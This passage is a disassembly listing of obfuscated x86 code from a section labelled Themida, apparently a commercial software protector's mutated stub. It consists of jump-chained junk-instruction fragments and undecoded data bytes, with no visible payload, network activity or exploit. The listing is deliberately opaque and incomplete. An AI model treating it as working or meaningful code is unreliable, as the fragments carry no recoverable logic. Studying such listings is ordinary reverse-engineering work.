0FFh ; DATA XREF: Themida_:005419E8o dd 34FF2434h, 3952E924h, 0C780FFFFh, 51C728C8h, 0FFFE85E9h db 0FFh ; --------------------------------------------------------------------------- loc_554E25: ; CODE XREF: Themida_:00551205j add eax, 4 push ebx mov ebx, 4 sub eax, ebx jmp loc_54955B ; --------------------------------------------------------------------------- loc_554E37: ; CODE XREF: Themida_:0054B6D2j or ebp, 4B3B428Bh push edi mov edi, 3F152E69h and edi, 37B764C6h jmp loc_543351 ; --------------------------------------------------------------------------- dw 0C681h dd 8330C05h, 0FF4537E9h, 44E981FFh, 0E925C547h, 0FFFF5A4Fh dd 662414F6h, 2CE2805Ah, 80B1EA80h, 2BE987EBh, 89FFFF8Ah dd 0E589242Ch, 4C581h, 0C5810000h, 4, 0E9242C87h, 0FFFF4F5Bh dd 0C8BCF01h, 0CBE95724h, 81FFFF20h, 25CBBEF7h, 77CB2D8Ah dd 0F8293BC3h, 0C377CB05h, 243C8B3Bh, 2D04C483h, 2296D8Ch dd 4143205h, 0E9D8295Bh, 0FFFF75E5h ; --------------------------------------------------------------------------- loc_554EC4: ; CODE XREF: Themida_:00548C7Aj pop esp jmp loc_551062 ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFF9BA5h, 33240C31h, 248B240Ch, 242C8924h, 11B168h dd 0A2E95400h, 5FFFFF29h, 0FEED83E9h, 0EDF781FFh, 893BD257h dd 0CEE95FF9h, 50FFFFBAh, 87EA1B8h, 35212D64h, 2C2D4476h dd 21D3E6D4h, 0D9C8E9C6h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_554F12: ; CODE XREF: Themida_:00553AA5j add edi, 4 sub edi, 2 jmp loc_54A23D ; --------------------------------------------------------------------------- dd 50241489h, 0FF9632E9h db 0FFh ; --------------------------------------------------------------------------- loc_554F29: ; CODE XREF: Themida_:00546D56j pop ebx push edx jmp loc_552109 ; --------------------------------------------------------------------------- loc_554F30: ; CODE XREF: Themida_:00547148j mov ch, 0C5h push ebx jmp loc_5444EA ; --------------------------------------------------------------------------- dd 5C243487h, 31240C33h, 0C33240Ch, 24248B24h, 240C8B66h dd 4EC81h, 28E90000h, 0FFFFFEEDh, 5E042474h, 1B8E9h, 0C6015A00h dd 0E92434FFh, 0FFFF0F1Fh ; --------------------------------------------------------------------------- loc_554F6C: ; CODE XREF: Themida_:0054DE56j and edx, 45AC352Ah jmp loc_544518 ; --------------------------------------------------------------------------- db 52h dd 0EA806CB2h, 840BE96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F82: ; CODE XREF: Themida_:0054ABFDj and ebx, 6D0F1DC2h add ebx, 6359A7F8h sub edi, ebx pop ebx jmp loc_54AF7B ; --------------------------------------------------------------------------- dw 430h dd 21E99C24h, 1FFFFDFh, 1A6FE9F3h, 0A2BD0000h, 8154B512h dd 4AED62C5h, 4EC83ABh, 0B9240C89h, 21E6D84h, 128ABA52h dd 0F28144D3h, 1CBC76D9h, 0B8EA8142h, 81077B4Dh, 661DAAC2h dd 1EDEE919h, 0F389FFFFh, 54B9515Eh, 8154025Bh, 0B00B82E9h dd 2E1C14Ah, 0FECEC7E9h, 2EDC1FFh, 0FF2DF0E9h, 55EB01FFh dd 0FC06CFBDh, 0E9EB0136h, 0FFFF3759h ; --------------------------------------------------------------------------- loc_555008: ; CODE XREF: Themida_:0055026Dj pop eax jmp loc_5545F5 ; --------------------------------------------------------------------------- dw 0CBBDh dd 0E95BAF29h, 0FFFFF035h ; --------------------------------------------------------------------------- loc_555018: ; CODE XREF: Themida_:00546E23j push 195Ch mov [esp], edi push ebp pop edi jmp loc_55450B ; --------------------------------------------------------------------------- db 1 dd 0D9B850D3h, 29783F01h, 895058C3h, 405E0h, 52570000h dd 1201BC68h, 24148B6Ch, 4C481h, 0F2810000h, 745572Eh dd 0FFF620E9h db 0FFh ; --------------------------------------------------------------------------- loc_555055: ; CODE XREF: Themida_:00546EB3j add ecx, 558806FDh push esi jmp loc_548493 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 86E4E95Ch, 0DE01FFFFh, 179EE81h, 0D1E94339h db 0D6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555077: ; CODE XREF: Themida_:005423A3j inc edx push 2D4Dh mov [esp], eax mov eax, 3E7E7E6Fh push esi mov esi, 230A6359h add esi, 0F3C6F86Bh or eax, esi pop esi push edx jmp loc_54DE51 ; --------------------------------------------------------------------------- dw 8B66h dd 77682404h, 0E9000044h, 0FFFF729Ch, 90E9D1F7h, 58FFFF3Ch dd 0E904C483h, 0FFFEFEF9h, 8105EFC1h, 6DF26FF7h, 195CE90Dh dd 8F5BFFFFh, 248B2404h, 2AA6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5550D2: ; CODE XREF: Themida_:0054EA23j mov ebp, 0CDB070CBh add esi, ebp pop ebp xor ebx, esi mov esi, [esp] jmp loc_5562FE ; --------------------------------------------------------------------------- dd 8904EC83h, 4B82404h, 1000000h, 58042444h, 5524048Fh dd 67BD5557h, 0E9087F3Bh, 0FFFF74A1h ; --------------------------------------------------------------------------- loc_555104: ; CODE XREF: Themida_:0055111Ej and eax, 73BE7560h shl eax, 4 xor eax, 3BCE31E1h or ebp, eax pop eax jmp loc_55126E ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF24248Bh, 0F5E92434h, 81FFFFDCh, 1A3DB4EDh, 0C4C58119h dd 8917FEDAh, 81425DEAh, 581D0BF2h, 38866872h, 0C890000h dd 0AAE95724h, 5FFFF06h, 4, 4BF57h, 0EDE90000h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55515B: ; CODE XREF: Themida_:0054A740j pop esp pop dword ptr [esp] mov eax, [esp] add esp, 4 push 3DDAh mov [esp], ecx push esi mov esi, 1 push 6CACh mov [esp], esi add dword ptr [esp], 8441BA9h push dword ptr [esp] jmp loc_542989 ; --------------------------------------------------------------------------- loc_55518D: ; CODE XREF: Themida_:00543D07j mov edi, 29E2A50Ch jmp loc_55286D ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 68525150h, 71BD62AFh, 0D5EA815Ah, 51190B2Ah dd 0F9747DB9h, 9F91E96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5551B6: ; CODE XREF: Themida_:0055132Bj add esp, 4 jmp loc_543F10 ; --------------------------------------------------------------------------- loc_5551BE: ; CODE XREF: Themida_:005558D4j mov [esp], ebx push edi jmp loc_54743D ; --------------------------------------------------------------------------- db 5Eh dd 0D7BD5559h, 0E9771747h, 0FFFF4C69h, 7BE95266h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5551DB: ; CODE XREF: Themida_:0055271Bj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], eax push ecx push edx mov dh, 57h neg dh xor dh, 0F0h jmp loc_5457E6 ; --------------------------------------------------------------------------- dw 1C33h dd 4E0FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5551FE: ; CODE XREF: Themida_:00549797j neg edx add edx, 4DD07F45h add ebx, edx pop edx push ebp mov ebp, 30017FFBh and ebp, 59EF06FFh add ebp, 12C57129h or ebp, 4C5C7853h jmp loc_543987 ; --------------------------------------------------------------------------- dw 525Ch dd 0F5FDE954h, 433FFFEh, 0F8D2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555236: ; CODE XREF: Themida_:005505A1j sub ebp, 28317600h jmp loc_544448 ; --------------------------------------------------------------------------- loc_555241: ; CODE XREF: Themida_:00555F68j mov [esp], eax pop esi pop eax jmp loc_54F36B ; --------------------------------------------------------------------------- loc_55524B: ; CODE XREF: Themida_:0054D240j xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_541B1F ; --------------------------------------------------------------------------- db 51h, 0E9h, 46h dd 56FFFF55h, 24348B5Ah, 4C481h, 0D7310000h, 8124148Bh dd 4C4h, 5C78100h, 1A831A8h, 2434FFF9h, 4C4815Fh, 81000000h dd 9D12F8C3h, 72EB8153h, 0E93C722Fh, 0FFFFE5D3h, 9C240421h dd 0FEC87EE9h, 0F7D1F7FFh, 0C4E981D9h, 0E92B88FAh, 0FFFFA546h dd 0E959E888h, 0FFFED3C2h ; --------------------------------------------------------------------------- loc_5552B8: ; CODE XREF: Themida_:00542298j pop esi pop edi jmp loc_5547BC ; --------------------------------------------------------------------------- loc_5552BF: ; CODE XREF: Themida_:00542BF7j add esp, 4 shr eax, 3 neg eax jmp loc_551184 ; --------------------------------------------------------------------------- db 81h dd 6975DAEEh, 3619E93Fh, 2C89FFFFh, 49BE5624h, 8917A82Dh dd 0CD815EF5h, 6EB5381h, 0ECE9h db 0 byte_5552F1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00541A40o dd 0D359669Dh, 0E99C2414h, 0FFFEC81Fh, 8B24048Fh, 34FF2424h dd 2434FF24h, 5A2434FFh, 0E9E68956h, 0FFFF6257h, 3BEABA52h dd 0D50144E6h, 564D4D5Ah, 0D6B56BEh, 51C6817Eh, 815A6D5Bh dd 1FC31CEEh, 0E9F5298Dh, 0FFFF1891h ; --------------------------------------------------------------------------- loc_55533C: ; CODE XREF: Themida_:0054D5E9j add esp, 4 push edx push eax mov eax, 72CE277Ch jmp loc_54E1A5 ; --------------------------------------------------------------------------- db 33h dd 248B243Ch, 48B6624h, 8F4EE924h, 0C781FFFFh, 4, 0FF1E29E9h db 0FFh ; --------------------------------------------------------------------------- loc_555365: ; CODE XREF: Themida_:0054C625j add edx, ebx push eax mov eax, 0 jmp loc_55021C ; --------------------------------------------------------------------------- loc_555372: ; CODE XREF: Themida_:00542A5Aj dec ecx add ecx, 0DF36BE64h jmp loc_547CCC ; --------------------------------------------------------------------------- dw 3489h dd 2474FF24h, 48F5E04h, 24248B24h, 24048B66h, 287A68h dd 240C8900h, 0AC68E189h, 89000059h, 74BE2434h, 0E94D6462h dd 0FFFFE942h ; --------------------------------------------------------------------------- loc_5553AC: ; CODE XREF: Themida_:005528F8j sub edx, 28AC202Bh mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_54FB28 ; --------------------------------------------------------------------------- dword_5553C8 dd 24048B66h, 760DE950h ; DATA XREF: Themida_:0054190Co db 2 dup(0FFh) word_5553D2 dw 48Bh ; DATA XREF: Themida_:0054188Co dd 4EC8324h, 0FF6AFDE9h, 0FEED81FFh, 0E97DD24Dh, 0FFFF994Bh dd 799E685Ah, 2C890000h, 5A7ABD24h, 0F7555338h, 4D5D2414h dd 26F7CD81h, 0C5811B37h, 45FE23FEh, 0FF403FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55540D: ; CODE XREF: Themida_:005545AFj sub eax, edi pop edi jmp loc_542816 ; --------------------------------------------------------------------------- loc_555415: ; CODE XREF: Themida_:00542DB7j push ebp push edi jmp loc_544E77 ; --------------------------------------------------------------------------- dd 2194C381h, 0DA21187Eh, 0AC33E95Bh, 8B54FFFFh, 0C481240Ch dd 4, 8904EC83h, 0BE56243Ch, 4, 0FF8C02E9h, 81FB29FFh dd 4B47DCEBh, 68C38160h, 0E941EE21h, 0FFFF27B2h ; --------------------------------------------------------------------------- loc_555458: ; CODE XREF: Themida_:00551976j sub esi, 1D51D550h jmp loc_550A51 ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 242C3324h, 0FFCB6BE9h, 4C481FFh, 81000000h dd 2C6h, 4EC8100h, 0E9000000h, 0FFFFFEF6h, 0D2F6C2FEh dd 0FEFD31E9h db 0FFh ; --------------------------------------------------------------------------- loc_555491: ; CODE XREF: Themida_:005554E7j pop edx xor edi, [esp] xor [esp], edi jmp loc_552033 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 9868240Ch, 89000056h, 75E92424h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5554B3: ; CODE XREF: Themida_:0054DADDj push 4BB3A5Eh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_556460 ; --------------------------------------------------------------------------- dd 0E9242C28h, 0FFFF2449h, 7D75E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5554DA: ; CODE XREF: Themida_:0054FD30j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_555491 ; --------------------------------------------------------------------------- dd 6624248Bh, 0E9C8B60Fh, 0FFFF3646h ; --------------------------------------------------------------------------- loc_5554F8: ; CODE XREF: Themida_:00556484j inc ebx sub ebx, 0F801E7FEh mov eax, ebx pop ebx xor [esp+4], eax mov eax, [esp] push ecx push esp pop ecx jmp loc_548134 ; --------------------------------------------------------------------------- loc_555511: ; CODE XREF: Themida_:0054F8CFj not edi xor edi, 0CCE5E92Ch add ebp, edi pop edi sub ebp, 65A93E79h pop edi dec ebp push eax push 15C681Ch pop eax xor ebp, eax mov eax, [esp] push edi mov edi, esp jmp loc_54BEC9 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18100h, 87000000h, 815C240Ch, 4C1h dd 4E98300h, 0E9240C87h, 0FFFF17E4h, 815F5457h, 4C7h, 6F9AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55556A: ; CODE XREF: Themida_:00554006j shr ebx, 2 xor ebx, 67B0424h jmp loc_54B1AE ; --------------------------------------------------------------------------- loc_555578: ; CODE XREF: Themida_:005470A3j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi jmp loc_542372 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0B850E589h, 48811D35h, 0FF5B39E9h, 0C6815CFFh, 4, 2C681h dd 73E90000h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5555AF: ; CODE XREF: Themida_:0054214Ej pop esp sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_5512AB ; --------------------------------------------------------------------------- dd 83AFE980h, 896602ECh, 8AB02404h, 5866C130h, 0E90AB050h dd 0FFFEDE96h, 0FFFFE981h, 0C981FFFFh, 3A6227A3h, 67BD5549h dd 0E96E8E6Bh, 0FFFFAB12h, 8B243C87h, 68562424h, 64CFh dd 0E9243C89h, 0FFFF98B6h ; --------------------------------------------------------------------------- loc_555608: ; CODE XREF: Themida_:005508F3j pop edi inc ebp add ebp, 0E0A8F226h add eax, ebp pop ebp add eax, 4 jmp loc_5432F7 ; --------------------------------------------------------------------------- db 0B9h, 0D0h, 2Ah dd 0CE097588h, 4EC8159h, 89000000h, 6EBA2414h, 0F743DD30h dd 0B9D2E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55563A: ; CODE XREF: Themida_:005494E3j xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edi sub esp, 4 jmp loc_543CFF ; --------------------------------------------------------------------------- db 58h dd 34FFD030h, 24148B24h, 0FFA5ADE9h, 4EC81FFh, 0E9000000h dd 0FFFEF9D2h, 4B9h, 59CA0100h, 8904EC83h, 68532404h, 4C76h dd 0E9243489h, 0FFFECA62h ; --------------------------------------------------------------------------- loc_555684: ; CODE XREF: Themida_:0054EA4Ej pop esp mov [esp], esp jmp loc_553FA6 ; --------------------------------------------------------------------------- db 81h, 0F1h, 90h dd 410F5055h, 3CE6F181h, 0CB293157h, 0FF5DF7E9h, 24148BFFh dd 8104C483h, 4C4h, 8BE83000h, 8950240Ch, 4EC83E0h, 68242C89h dd 4C66h, 0E9241489h, 0FFFEE3B4h, 53E97D2Ch db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5556CF: ; CODE XREF: Themida_:00549B44j mov [esp], ecx jmp loc_555D7B ; --------------------------------------------------------------------------- db 0FFh dd 0AFE92434h, 83FFFF88h, 0E95604C4h, 0FFFFA860h, 0FEC432E9h db 0FFh ; --------------------------------------------------------------------------- loc_5556ED: ; CODE XREF: Themida_:0054DB8Cj mov edx, 4 add ecx, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_550A65 ; --------------------------------------------------------------------------- loc_555705: ; CODE XREF: Themida_:00543BA1j add esi, 4 add esi, 4 xchg esi, [esp] pop esp shl ebx, 5 push edx mov edx, 76DB29C7h sub ebx, edx pop edx xor eax, ebx jmp loc_54FB5F ; --------------------------------------------------------------------------- dd 58C50158h, 0D538E945h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555732: ; CODE XREF: Themida_:00541F10j add eax, 3CD5125h add eax, edi push edi mov edi, 6FB00C3Fh push ecx mov ecx, 1A5907A8h not ecx xor ecx, 11A900F2h add ecx, 77D2C275h sub edi, ecx pop ecx sub eax, 419D4F6Ch jmp loc_5565A3 ; --------------------------------------------------------------------------- dd 1C8BDE01h, 0C3ABE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55576A: ; CODE XREF: Themida_:00546527j sub edx, 16A65445h jmp loc_54A2B3 ; --------------------------------------------------------------------------- loc_555775: ; CODE XREF: Themida_:00550F19j add ecx, edx jmp loc_54C31C ; --------------------------------------------------------------------------- loc_55577C: ; CODE XREF: Themida_:00545B7Aj add edi, 0CF2CBA7Ah sub ecx, edi jmp loc_545FEF ; --------------------------------------------------------------------------- loc_555789: ; CODE XREF: Themida_:0054CE19j add esp, 4 mov ebp, [esp] add esp, 4 pop ebx and ecx, edi mov edi, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] shr ecx, 2 jmp loc_553F89 ; --------------------------------------------------------------------------- dw 0B850h dd 60BF1BB8h, 5D58C601h, 2E5EE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5557D2: ; CODE XREF: Themida_:0054B5E3j mov dh, cl mov ah, dh mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop ecx xor ah, 1Ah add bl, 42h add bl, ah sub bl, 42h mov eax, [esp] add esp, 4 add bl, 3Dh add bl, 0ACh sub bl, al push dx jmp loc_550E9B ; --------------------------------------------------------------------------- dd 0ABE9DAF7h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555817: ; CODE XREF: Themida_:0054C6EDj sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov al, bh push ebx mov bl, al push eax mov eax, 28h add eax, edi jmp loc_54FBA5 ; --------------------------------------------------------------------------- db 0BEh dd 38B33BE0h, 5461E681h, 0EEC14825h, 0C5C68108h, 81474E68h dd 8E7954C6h, 5D3E970h, 0EA01FFFFh, 4F2C281h, 0FF5D5E29h dd 1C8B2434h, 4C48124h, 81000000h, 4C4h, 24143300h, 0E9241431h dd 0FFFFEAB8h, 3B30BB53h, 0DA29271Ch, 0C2EA815Bh, 29F65E6Ah dd 85E95AD1h, 28FFFF6Ch, 53EE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555896: ; CODE XREF: Themida_:005541B1j sub eax, edi jmp loc_543550 ; --------------------------------------------------------------------------- loc_55589D: ; CODE XREF: Themida_:005429C5j pop edi add esp, 4 shr ecx, 0 or eax, eax jz loc_5455F1 push 5AE3h mov [esp], ebx jmp loc_55252B ; --------------------------------------------------------------------------- dd 1BEh, 24742900h, 4F5F5E04h, 2EE9D7F7h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5558CF: ; CODE XREF: Themida_:00543D2Fj ; Themida_:005520F6j push 0E71h jmp loc_5551BE ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0C281DAF7h, 3FED5F61h, 0CA34F281h, 89533255h, 5BDD89D3h dd 5DE8015Ah, 0E904C083h, 0FFFFEAD5h, 83242C8Bh, 8F6604C4h dd 0C215E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55590A: ; CODE XREF: Themida_:00541CDEj push dword ptr [esp+4] jmp loc_54A124 ; --------------------------------------------------------------------------- byte_555913 db 0FFh ; DATA XREF: Themida_:00541A0Co dd 589D1C77h, 9C240419h, 0FEC1FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_555921: ; CODE XREF: Themida_:00550CD9j xor edx, 1300110Ah mov ecx, edx pop edx mov ebp, ecx mov ecx, [esp] jmp loc_54596C ; --------------------------------------------------------------------------- dd 7D6B1235h, 58C5016Ah, 242C335Fh, 0FF4D17E9h db 0FFh byte_555945 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541918o dd 4EC8324h, 0FFF5CFE9h, 88D6B1FFh, 0AAAE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55595A: ; CODE XREF: Themida_:005450B4j movzx ax, byte ptr [eax] push small 176Ah mov [esp], ax jmp loc_541B1F ; --------------------------------------------------------------------------- db 83h dd 742904C4h, 10E90424h, 0BEFFFF6Dh, 2CFD055Fh, 0CFC68146h dd 89D8F3FAh, 55055EF7h, 507632Bh, 33480133h, 0C6782605h dd 2DF82963h, 63C67826h, 4ABFBA52h, 74E96B76h, 49FFFF72h dd 4105E1C1h, 9BD1F181h, 0CA29CF27h, 83240C8Bh, 0EA8104C4h dd 0BC2068Dh, 21E2E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5559C6: ; CODE XREF: Themida_:0055459Cj xor ebp, 3F5BEA12h push ebx mov ebx, 6CAA5790h sub eax, ebx mov ebx, [esp] jmp loc_5483D0 ; --------------------------------------------------------------------------- loc_5559DC: ; CODE XREF: Themida_:00549B0Cj mov edi, 0F022EBBh xor edi, 1C746395h push edx mov edx, 4C9A34B3h jmp loc_556472 ; --------------------------------------------------------------------------- dw 0E9C0h dd 6FF18003h, 0C830C130h, 1B68C130h, 0E900003Bh, 0FFFEF38Dh dd 0C143E3D1h, 0EB8106E3h, 0E699CB3Ch, 0FF37BEE9h db 0FFh byte_555A19 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541A08o dd 93DAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A22: ; CODE XREF: Themida_:005459FFj and ebx, 231738C3h shl ebx, 1 push eax mov eax, 718C5C42h inc eax and eax, 21C24EDAh jmp loc_542430 ; --------------------------------------------------------------------------- loc_555A3B: ; CODE XREF: Themida_:0054CBBDj shl esi, 2 push ebp jmp loc_545A30 ; --------------------------------------------------------------------------- dd 0E908EAC1h, 0FFFF55ECh, 4203EE81h, 0EE815C01h, 4E683486h dd 2BA525Ah, 0E9000000h, 0FFFF3C5Ch ; --------------------------------------------------------------------------- loc_555A64: ; CODE XREF: Themida_:00555F1Bj mov ebp, 4 add esi, ebp jmp loc_5506DE ; --------------------------------------------------------------------------- dd 24048B54h, 4C481h, 4050000h, 5000000h, 4, 5C240487h dd 0FEE4A1E9h, 2474FFFFh, 48F5904h, 24248B24h, 240C8966h dd 0FEC07EE9h db 0FFh byte_555AA1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00541A4Co dd 0E8E95724h, 29FFFFC5h, 0C2015DE8h, 4C28158h, 0E9000000h dd 0FFFF7380h, 26E9D828h, 89FFFFACh, 5FE92414h, 56FFFF6Ah dd 4BEh, 2783E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555AD6: ; CODE XREF: Themida_:00545407j add esp, 4 add esi, edi mov edi, [esp] jmp loc_54C8C4 ; --------------------------------------------------------------------------- loc_555AE6: ; CODE XREF: Themida_:00556B82j mov ecx, [esp] add esp, 4 sub edi, 1B5B613Bh add edi, 60DE1910h sub edi, ebx jmp loc_5511A7 ; --------------------------------------------------------------------------- byte_555AFF db 0ADh ; DATA XREF: Themida_:00541958o dd 0E904EC83h, 0FFFF73B8h, 0E01DE95Ah, 8B54FFFFh, 0D468240Ch dd 89000039h, 0E5E9241Ch, 81FFFF9Dh, 4C6h, 24348700h, 240CFF5Ch dd 0BFEDE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555B32: ; CODE XREF: Themida_:00546E64j add esi, 3DC671Bh mov ebx, [esp] add esp, 4 shr esi, 1 jmp loc_54B9BA ; --------------------------------------------------------------------------- loc_555B45: ; CODE XREF: Themida_:0054BB6Fj add ebx, ecx pop ecx push 4BD3h mov [esp], ebp mov ebp, 0E117A850h xor ebx, ebp pop ebp mov ebp, ebx pop ebx xor ecx, ebp pop ebp jmp loc_552241 ; --------------------------------------------------------------------------- db 81h dd 0DE5C55C6h, 51575B67h, 384A54B9h, 0DBC1E933h, 8957FFFFh dd 4C781E7h, 0E9000000h, 0FFFF66C8h ; --------------------------------------------------------------------------- loc_555B84: ; CODE XREF: Themida_:0054978Aj shl edi, 8 neg edi push ecx mov ecx, 483D261Bh push ebp jmp loc_54DBD2 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D7010000h, 0E789575Ah, 48C7BE56h, 0F7460F12h, 9DE952DEh dd 50FFFF8Fh, 0BF69E99Ch, 0C683FFFEh, 24348704h, 0FEE908E9h dd 0A4ED81FFh, 10B6D40h, 0A4C581CDh, 0E90B6D40h, 0FFFEE1ACh dd 243C8B54h, 8104C483h, 4C7h, 4C78300h, 8B243C87h, 0EC812424h dd 4, 0FF241489h, 5A042474h, 0E924048Fh, 0FFFEC8EEh, 2C5BF800h dd 28C72CD0h, 0A7D9E9D8h, 1489FFFFh, 0E99C5024h, 0FFFF2755h dd 81D2F75Dh, 80018DC2h, 5AD58920h, 51BABD55h, 0C58167E2h dd 0BAB4946h, 0FFD042E9h db 0FFh ; --------------------------------------------------------------------------- loc_555C35: ; CODE XREF: Themida_:00543CD7j mov [esp], esi jmp loc_55477B ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9240C89h, 0FFFF2320h ; --------------------------------------------------------------------------- loc_555C48: ; CODE XREF: Themida_:0054A6F0j add edi, 74BD1B1Ah sub edi, esi push ebx mov ebx, 7F7F6775h push ecx mov ecx, 0AC24C5Bh sub ebx, ecx pop ecx sub edi, ebx pop ebx pop esi add edi, ecx sub esp, 4 mov [esp], edx mov edx, 390633D0h or edx, 7E8D750Eh dec edx jmp loc_552F20 ; --------------------------------------------------------------------------- aMhx_ db '¬hx_',0 ; DATA XREF: Themida_:0054184Co dd 241C8900h, 53E967B7h, 5AFFFF2Ch, 52D4F681h, 0F029F114h dd 77E9565Eh, 53FFFEF5h, 0FF89A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_555CA5: ; CODE XREF: Themida_:00544038j push eax push 2F196323h jmp loc_5525B2 ; --------------------------------------------------------------------------- loc_555CB0: ; CODE XREF: Themida_:0054B1DAj add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_54C798 ; --------------------------------------------------------------------------- dd 6624248Bh, 9C2404FFh, 0FFA513E9h, 51E389FFh, 0FF6010E9h db 0FFh ; --------------------------------------------------------------------------- loc_555CD9: ; CODE XREF: Themida_:00547DCDj mov edi, 118E4056h sub edi, 0ED925F87h xor ecx, edi pop edi add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_543EFB ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 0F7h dd 75E381D3h, 0D15DF66Dh, 0CF1FE9E3h, 0EAC1FFFEh, 58EA8108h dd 1006BFCh, 0C6835AD6h, 24348704h, 0B252665Ch, 66D328A2h dd 0E924148Bh, 0FFFF027Ah, 0C05AF588h, 3E906E5h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_555D43: ; CODE XREF: Themida_:0054288Fj add esp, 4 add esp, 4 push esi jmp loc_54CF4B ; --------------------------------------------------------------------------- db 4, 0EBh, 51h dd 0ED80C7B5h, 0E9DDF6A2h, 0FFFF03E6h, 535AD329h, 2D5B5Fh dd 13DAA77h, 770005F8h, 0A2E93DAAh db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D7B: ; CODE XREF: Themida_:005556D2j push 2FB02922h mov ecx, [esp] add esp, 4 xor [esp+4], ecx mov ecx, [esp] jmp loc_5469C2 ; --------------------------------------------------------------------------- db 89h, 0E0h, 55h dd 0C34504BDh, 0C1DDF730h, 0F58102E5h, 3CF2EBF4h, 2C8BE801h dd 4C48124h, 0E9000000h, 0FFFF0512h, 1C8BDE21h, 4C48124h dd 0C1000000h, 0EEC106EEh, 0DC96803h, 4890000h, 0BB5324h dd 89000000h, 1EE95BD8h, 5CFFFFA4h, 0BA241489h, 19224C2Ch dd 0FFDC9FE9h, 4C481FFh, 83000000h, 24E904C4h db 0BDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555DFB: ; CODE XREF: Themida_:0054BC4Cj push ebx mov ebx, esp push esi mov esi, 4 add ebx, esi pop esi sub ebx, 4 jmp loc_54B269 ; --------------------------------------------------------------------------- loc_555E0F: ; CODE XREF: Themida_:005524CEj dec dh push small 3532h mov [esp], cx jmp loc_54340A ; --------------------------------------------------------------------------- loc_555E1E: ; CODE XREF: Themida_:0054DD9Dj mov [esp], esi jmp loc_54CE75 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 283D90B9h, 0FB71E966h, 5868FFFFh, 0E9000011h dd 0FFFF195Eh dword_555E40 dd 218E05ADh, 0EC8103FBh, 4, 0BF243C89h, 42BE6085h, 3A86F781h ; DATA XREF: Themida_:005419C8o dd 0D2E91DD2h, 68FFFFECh, 51AFh, 0FF243C89h, 0E9042474h dd 0FFFEC20Fh, 33243431h, 34312434h, 4AF7E924h, 0EE81FFFFh dd 99187EACh, 0FF06AFE9h, 4B9FFh, 0BB530000h, 57044F6Bh dd 815BDE29h, 332A69EEh, 52C6813Eh, 8106DE74h, 0DD7546C6h dd 81CE015Ch, 0DD7546EEh, 52EE815Ch, 8106DE74h, 332A69C6h dd 6BC6813Eh, 8B57044Fh, 42E9240Ch db 0CAh, 